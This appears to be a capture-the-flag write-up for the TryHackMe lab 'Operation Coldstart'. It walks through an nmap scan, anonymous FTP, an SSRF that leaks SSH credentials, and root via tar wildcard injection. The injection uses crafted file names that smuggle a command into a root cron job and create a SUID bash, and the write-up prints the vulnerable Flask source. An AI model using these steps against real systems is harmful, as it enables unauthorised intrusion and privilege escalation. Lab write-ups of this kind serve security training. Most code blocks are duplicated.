August 27, 2026
Operation Coldstart—TryHackMe Walkthrough | From Anonymous FTP to Root: A Chain of…
A technical walkthrough covering reconnaissance, service enumeration, exploitation, initial access, and privilege escalation.

By A. AntorCSE404
6 min read
Hello everyone 👋, in this write-up we'll tackle the junior pentesting challenge "Operation Coldstart." This is a very interesting challenge. In this whole write-up I will try to put the concept in your brain. Let's get started…
Room link: Operation Coldstart.
Scenario: Volt Labs, a small SaaS company, left an old staging server exposed to the internet. The objective is to find a way in and demonstrate full compromise. This box chains together three individually low-severity misconfigurations—anonymous FTP leaking source code, an SSRF via a hostname allow-list, and a tar wildcard injection in a cron job—into full root access.
Reconnaissance—Nmap Scan: Start with a full port scan and service version detection.
nmap -sV -sC -p- --min-rate 5000 -T4 10.49.131.187
Output:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http Gunicorn
|_http-title: URL Preview - Volt Labs
|_http-server-header: gunicornnmap -sV -sC -p- --min-rate 5000 -T4 10.49.131.187
Output:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http Gunicorn
|_http-title: URL Preview - Volt Labs
|_http-server-header: gunicornThree services exposed:
- FTP (21)—vsftpd 3.0.5 with anonymous login enabled
- SSH (22) — OpenSSH 9.6p1
- HTTP (80) — Gunicorn serving "URL Preview — Volt Labs"
The anonymous FTP and the "URL Preview" app are the immediate attack surfaces.
ftp> binary
200 Switching to Binary mode.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40068|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |************************************************| 2446 10.65 MiB/s 00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (54.45 KiB/s)
ftp> exit
221 Goodbye.ftp> binary
200 Switching to Binary mode.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40068|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |************************************************| 2446 10.65 MiB/s 00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (54.45 KiB/s)
ftp> exit
221 Goodbye.Successfully, we transferred the file. Now, the backup.tar.gz file in our local directory. We have to extract it.
tar -xzf backup.tar.gz tar -xzf backup.tar.gzExtracted files:
./voltlabs-preview/app.py
./voltlabs-preview/README.md
./voltlabs-preview/requirements.txt./voltlabs-preview/app.py
./voltlabs-preview/README.md
./voltlabs-preview/requirements.txtThis is the full source code of the web application running on port 80. This is a critical finding—the source code should never have been placed on a publicly accessible anonymous FTP server. Now, check the source code to see whether it has something interesting.
app.py
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests
app = Flask(__name__)
# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}
CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""
def page(title, body):
return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
<span class="brand">Volt Labs</span>
<span class="muted-light">URL Preview Service · staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">© Volt Labs · do not expose externally</footer>
</body>
</html>"""
@app.route("/")
def index():
body = """
<div class="card">
<h1>URL Preview Service</h1>
<p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
<form method="get" action="/preview">
<div class="form-group">
<label for="url">URL</label>
<input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
</div>
<button type="submit" class="btn btn-primary">Preview</button>
</form>
</div>
"""
return page("URL Preview", body)
@app.route("/preview")
def preview():
target = request.args.get("url", "")
if not target:
return page("Preview Error",
'<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400
# VULN: hostname allow-list is the only check. No scheme check, no path check,
# no localhost-rebind protection - the SSRF is still abusable, but only
# against the allowed hostname.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return page("Preview Blocked",
'<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403
try:
r = requests.get(target, timeout=3)
safe_target = html.escape(target)
safe_body = r.text.replace("<", "<")
body = f"""
<div class="card">
<h2>Preview of {safe_target}</h2>
<pre>{safe_body}</pre>
</div>
"""
return page("Preview", body)
except Exception as e:
safe_err = html.escape(str(e))
return page("Preview Failed",
f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502
@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
if not request.remote_addr.startswith("127."):
abort(403)
if p == "notes":
with open("/opt/voltlabs-preview/admin_notes.txt") as f:
return "<pre>" + f.read() + "</pre>"
return "<pre>Volt Labs admin endpoint.</pre>"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests
app = Flask(__name__)
# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}
CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""
def page(title, body):
return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
<span class="brand">Volt Labs</span>
<span class="muted-light">URL Preview Service · staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">© Volt Labs · do not expose externally</footer>
</body>
</html>"""
@app.route("/")
def index():
body = """
<div class="card">
<h1>URL Preview Service</h1>
<p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
<form method="get" action="/preview">
<div class="form-group">
<label for="url">URL</label>
<input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
</div>
<button type="submit" class="btn btn-primary">Preview</button>
</form>
</div>
"""
return page("URL Preview", body)
@app.route("/preview")
def preview():
target = request.args.get("url", "")
if not target:
return page("Preview Error",
'<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400
# VULN: hostname allow-list is the only check. No scheme check, no path check,
# no localhost-rebind protection - the SSRF is still abusable, but only
# against the allowed hostname.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return page("Preview Blocked",
'<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403
try:
r = requests.get(target, timeout=3)
safe_target = html.escape(target)
safe_body = r.text.replace("<", "<")
body = f"""
<div class="card">
<h2>Preview of {safe_target}</h2>
<pre>{safe_body}</pre>
</div>
"""
return page("Preview", body)
except Exception as e:
safe_err = html.escape(str(e))
return page("Preview Failed",
f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502
@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
if not request.remote_addr.startswith("127."):
abort(403)
if p == "notes":
with open("/opt/voltlabs-preview/admin_notes.txt") as f:
return "<pre>" + f.read() + "</pre>"
return "<pre>Volt Labs admin endpoint.</pre>"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)Key findings from the source code:
a. Hostname Allow-List (SSRF Bypass)
ALLOWED_HOSTS = {"kestrel.thm"}ALLOWED_HOSTS = {"kestrel.thm"}The comment on line 9 reveals: "Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box."
This means kestrel.thm on the server resolves to 127.0.0.1. The /preview endpoint only checks if the URL's hostname is in the allow-list — it doesn't validate the resolved IP. So a request to http://kestrel.thm/... will be fetched by the server from itself (localhost).
b. Admin Endpoint (Localhost-Only):
The /admin/ endpoint is only accessible from 127.*. Since kestrel.thm resolves to 127.0.0.1, the SSRF request will originate from localhost and pass this check. The /admin/notes path reads /opt/voltlabs-preview/admin_notes.txt — this is the target.
SSRF Exploitation — Extracting Credentials
Use the /preview endpoint to make the server fetch its own /admin/notes page via kestrel.thm (which resolves to 127.0.0.1).
http://10.49.131.187/preview?url=http://kestrel.thm/admin/noteshttp://10.49.131.187/preview?url=http://kestrel.thm/admin/notes
The SSRF worked. The server fetched the admin notes from itself (localhost), passed the 127.* check, and returned the contents to us. The credentials for the webdev user are now in our hands.
Why this works:
- The
/previewendpoint checks if the hostname is inALLOWED_HOSTS kestrel.thmis in the allow-listkestrel.thmresolves to127.0.0.1on the server- The server fetches
http://kestrel.thm/admin/notes→ which is actually http://127.0.0.1/admin/notes - The
/admin/endpoint seesremote_addr = 127.0.0.1→ passes the localhost check - The admin notes file is returned
Initial Access—SSH Login: SSH into the target with the recovered credentials.
ssh webdev@10.49.131.187
# Password: V0ltLabs#summerssh webdev@10.49.131.187
# Password: V0ltLabs#summer
We get out the user flag. Now, our target is accessing the root user.
Privilege Escalation — Enumeration
Check for sudo privileges:
webdev@coldstart:~$ sudo -l
Sorry, user webdev may not run sudo on coldstart.webdev@coldstart:~$ sudo -l
Sorry, user webdev may not run sudo on coldstart.No sudo. Inspect cron jobs:
webdev@coldstart:~$ cat /etc/cron.d/voltlabs-backupwebdev@coldstart:~$ cat /etc/cron.d/voltlabs-backupContents:
# Volt Labs staging backup - runs as root
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *# Volt Labs staging backup - runs as root
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *A root-owned cron job runs every minute: tar czf /var/backups/uploads.tgz *. Check permissions on the backup directory:
webdev@coldstart:~$ ls -ld /opt/backups
drwxrwx--- 2 webdev webdev 4096 Aug 26 02:35 /opt/backupswebdev@coldstart:~$ ls -ld /opt/backups
drwxrwx--- 2 webdev webdev 4096 Aug 26 02:35 /opt/backupsThe directory is writable by webdev. This is the privilege escalation vector.
Privilege Escalation — Tar Wildcard Injection
The cron job runs tar czf ... * in a directory we can write to. When the shell expands the * wildcard, any filenames we create are passed as arguments to tar. We can create files with names that look like tar options—this is a classic GTFOBins tar wildcard injection.
Step 1: Create the payload script: This script will copy /bin/bash to /tmp/bash and set the SUID bit.
webdev@coldstart:/opt/backups$ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
webdev@coldstart:/opt/backups$ cat shell.sh
cp /bin/bash /tmp/bash && chmod +s /tmp/bashwebdev@coldstart:/opt/backups$ echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
webdev@coldstart:/opt/backups$ cat shell.sh
cp /bin/bash /tmp/bash && chmod +s /tmp/bashStep 2: Create the malicious "filenames": These files are named to look like tar command-line options. When tar expands *, it will interpret them as flags.
webdev@coldstart:/opt/backups$ touch -- "--checkpoint=1"
webdev@coldstart:/opt/backups$ touch -- "--checkpoint-action=exec=sh shell.sh"webdev@coldstart:/opt/backups$ touch -- "--checkpoint=1"
webdev@coldstart:/opt/backups$ touch -- "--checkpoint-action=exec=sh shell.sh"Step 3: Verify the files are in place
webdev@coldstart:/opt/backups$ ls -la
total 16
-rw-rw-r-- 1 webdev webdev 0 Aug 26 02:35 --checkpoint=1
-rw-rw-r-- 1 webdev webdev 0 Aug 26 02:35 --checkpoint-action=exec=sh shell.sh
-rw-rw-r-- 1 webdev webdev 12 May 9 23:14 .keep
-rw-rw-r-- 1 webdev webdev 45 Aug 26 02:35 shell.shwebdev@coldstart:/opt/backups$ ls -la
total 16
-rw-rw-r-- 1 webdev webdev 0 Aug 26 02:35 --checkpoint=1
-rw-rw-r-- 1 webdev webdev 0 Aug 26 02:35 --checkpoint-action=exec=sh shell.sh
-rw-rw-r-- 1 webdev webdev 12 May 9 23:14 .keep
-rw-rw-r-- 1 webdev webdev 45 Aug 26 02:35 shell.shStep 4: Wait for the cron job (up to 60 seconds)
webdev@coldstart:/opt/backups$ sleep 70webdev@coldstart:/opt/backups$ sleep 70Step 5: Verify the SUID bash was created
webdev@coldstart:~$ ls -la /tmp/bash
-rwsr-sr-x 1 root root 1446024 Aug 26 02:37 /tmp/bashwebdev@coldstart:~$ ls -la /tmp/bash
-rwsr-sr-x 1 root root 1446024 Aug 26 02:37 /tmp/bashThe file is owned by root with the SUID bit set (the s in the permissions). This means executing it will run as root.
Root Access — Capturing the Root Flag:
Execute the SUID bash with the -p flag to preserve elevated privileges:
webdev@coldstart:~$ /tmp/bash -p
bash-5.2# whoami
rootwebdev@coldstart:~$ /tmp/bash -p
bash-5.2# whoami
rootRoot Flag:
bash-5.2# cat /root/flag.txt
THM{*****4a483d67****6936fcfd14*****}bash-5.2# cat /root/flag.txt
THM{*****4a483d67****6936fcfd14*****}Finally, we get out the root flag. That's it for today's write-up. Thanks for reading patiently.